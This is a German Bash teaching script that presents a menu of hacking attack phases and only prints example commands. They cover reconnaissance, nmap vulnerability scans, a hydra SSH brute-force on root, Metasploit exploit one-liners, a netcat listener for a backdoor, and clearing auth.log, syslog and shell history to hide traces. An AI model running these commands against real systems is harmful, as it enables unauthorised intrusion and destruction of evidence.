153 lines
5.4 KiB
Bash
Executable File
153 lines
5.4 KiB
Bash
Executable File
#!/bin/bash
|
|
|
|
# ------------------------------
|
|
# Hacking-Angriffs Phasen Menü (Mit Befehlen, aber ohne Ausführung)
|
|
# ------------------------------
|
|
|
|
clear
|
|
|
|
# Funktion für Phase 1: Informationsbeschaffung
|
|
informationsbeschaffung() {
|
|
echo "[Phase 1] Informationsbeschaffung"
|
|
echo "In dieser Phase sammeln wir so viele Informationen wie möglich über das Ziel."
|
|
echo "Beispielbefehle:"
|
|
echo "- WHOIS-Abfrage: Informationen zur Domain und deren Eigentümern."
|
|
echo " Befehl: whois example.com"
|
|
echo ""
|
|
echo "- DNS-Abfragen: Abfragen der DNS-Einträge wie IP-Adressen und Subdomains."
|
|
echo " Befehl: dig example.com"
|
|
echo ""
|
|
echo "- Google Dorking: Suche nach öffentlich zugänglichen Informationen."
|
|
echo " Beispiel: site:example.com"
|
|
echo " Befehl: curl 'https://www.google.com/search?q=site:example.com'"
|
|
echo ""
|
|
echo "Ziel dieser Phase: Schwachstellen und potenzielle Angriffspunkte finden."
|
|
read -p "Drücke Enter, um zurück zum Menü zu gehen..."
|
|
menu
|
|
}
|
|
|
|
# Funktion für Phase 2: Scanning
|
|
scanning() {
|
|
echo "[Phase 2] Scanning"
|
|
echo "In dieser Phase scannen wir das Ziel nach offenen Ports und laufenden Diensten."
|
|
echo "Beispielbefehle:"
|
|
echo "- Port Scanning: Finden von offenen Ports."
|
|
echo " Befehl: nmap -sS example.com"
|
|
echo ""
|
|
echo "- Service-Identifikation: Identifizieren, welche Services auf den offenen Ports laufen."
|
|
echo " Befehl: nmap -sV example.com"
|
|
echo ""
|
|
echo "- Schwachstellenanalyse: Suche nach bekannten Schwachstellen in den identifizierten Services."
|
|
echo " Befehl: nmap --script vuln example.com"
|
|
echo ""
|
|
echo "Ziel dieser Phase: Die Angriffsfläche des Systems analysieren."
|
|
read -p "Drücke Enter, um zurück zum Menü zu gehen..."
|
|
menu
|
|
}
|
|
|
|
# Funktion für Phase 3: Exploitation
|
|
exploitation() {
|
|
echo "[Phase 3] Exploitation"
|
|
echo "In dieser Phase versuchen wir, Sicherheitslücken auszunutzen."
|
|
echo "Beispielbefehle:"
|
|
echo "- Brute-Force-Angriffe: Versuch, Passwörter zu erraten."
|
|
echo " Befehl: hydra -l root -P /path/to/passwordlist.txt ssh://example.com"
|
|
echo ""
|
|
echo "- Ausnutzung von Schwachstellen: Angriffe auf ungeschützte Webanwendungen oder Services."
|
|
echo " Befehl: msfconsole -q -x 'use exploit/unix/ftp/vsftpd_234_backdoor; set RHOST example.com; exploit'"
|
|
echo ""
|
|
echo "- Verwenden von Metasploit-Exploits: Gezielte Schwachstellenangriffe mit Metasploit."
|
|
echo " Befehl: msfconsole -q -x 'use exploit/multi/http/struts_dmi; set RHOST example.com; exploit'"
|
|
echo ""
|
|
echo "Ziel dieser Phase: Zugang zum Zielsystem erlangen."
|
|
read -p "Drücke Enter, um zurück zum Menü zu gehen..."
|
|
menu
|
|
}
|
|
|
|
# Funktion für Phase 4: Post-Exploitation
|
|
post_exploitation() {
|
|
echo "[Phase 4] Post-Exploitation"
|
|
echo "Nachdem wir erfolgreich in das System eingedrungen sind, analysieren wir weiter:"
|
|
echo "Beispielbefehle:"
|
|
echo "- Ermitteln von Benutzern: Auflisten der Benutzerkonten auf dem Zielsystem."
|
|
echo " Befehl: cat /etc/passwd"
|
|
echo ""
|
|
echo "- Privilegieneskalation: Erhöhen der Benutzerrechte auf Administrator- oder Root-Rechte."
|
|
echo " Befehl: sudo -l"
|
|
echo " Befehl: sudo su"
|
|
echo ""
|
|
echo "- Umgehung der Firewall: Einrichten einer Backdoor oder Reverse Shell."
|
|
echo " Befehl: nc -lvp 4444"
|
|
echo ""
|
|
echo "Ziel dieser Phase: Die Kontrolle über das System zu sichern und weitere Daten zu extrahieren."
|
|
read -p "Drücke Enter, um zurück zum Menü zu gehen..."
|
|
menu
|
|
}
|
|
|
|
# Funktion für Phase 5: Aufräumen
|
|
aufraeumen() {
|
|
echo "[Phase 5] Aufräumen"
|
|
echo "In der letzten Phase versuchen wir, alle Spuren des Angriffs zu beseitigen."
|
|
echo "Beispielbefehle:"
|
|
echo "- Löschen von Logs: Entfernen von Log-Dateien, die Aktivitäten protokollieren könnten."
|
|
echo " Befehl: > /var/log/auth.log"
|
|
echo " Befehl: > /var/log/syslog"
|
|
echo ""
|
|
echo "- Bereinigen der Shell-Historie: Löschen der Bash-Historie, um Spuren zu verwischen."
|
|
echo " Befehl: history -c"
|
|
echo ""
|
|
echo "- Entfernen von Backdoors: Entfernen von Hintertüren oder Tools, die installiert wurden."
|
|
echo " Befehl: rm /tmp/backdoor"
|
|
echo ""
|
|
echo "Ziel dieser Phase: Die Aktivitäten des Angriffs zu verbergen und Spuren zu entfernen."
|
|
read -p "Drücke Enter, um zurück zum Menü zu gehen..."
|
|
menu
|
|
}
|
|
|
|
# Hauptmenü
|
|
menu() {
|
|
clear
|
|
echo "------------------------------------------------"
|
|
echo " Hacking-Angriffs Phasen Menü"
|
|
echo "------------------------------------------------"
|
|
echo "1) Informationsbeschaffung"
|
|
echo "2) Scanning"
|
|
echo "3) Exploitation"
|
|
echo "4) Post-Exploitation"
|
|
echo "5) Aufräumen"
|
|
echo "6) Beenden"
|
|
echo "------------------------------------------------"
|
|
|
|
read -p "Wähle eine Phase (1-6): " choice
|
|
|
|
case $choice in
|
|
1)
|
|
informationsbeschaffung
|
|
;;
|
|
2)
|
|
scanning
|
|
;;
|
|
3)
|
|
exploitation
|
|
;;
|
|
4)
|
|
post_exploitation
|
|
;;
|
|
5)
|
|
aufraeumen
|
|
;;
|
|
6)
|
|
echo "Beenden des Programms..."
|
|
exit 0
|
|
;;
|
|
*)
|
|
echo "Ungültige Auswahl. Bitte eine Zahl zwischen 1 und 6 wählen."
|
|
read -p "Drücke Enter, um fortzufahren..."
|
|
menu
|
|
;;
|
|
esac
|
|
}
|
|
|
|
# Programm startet mit dem Menü
|
|
menu
|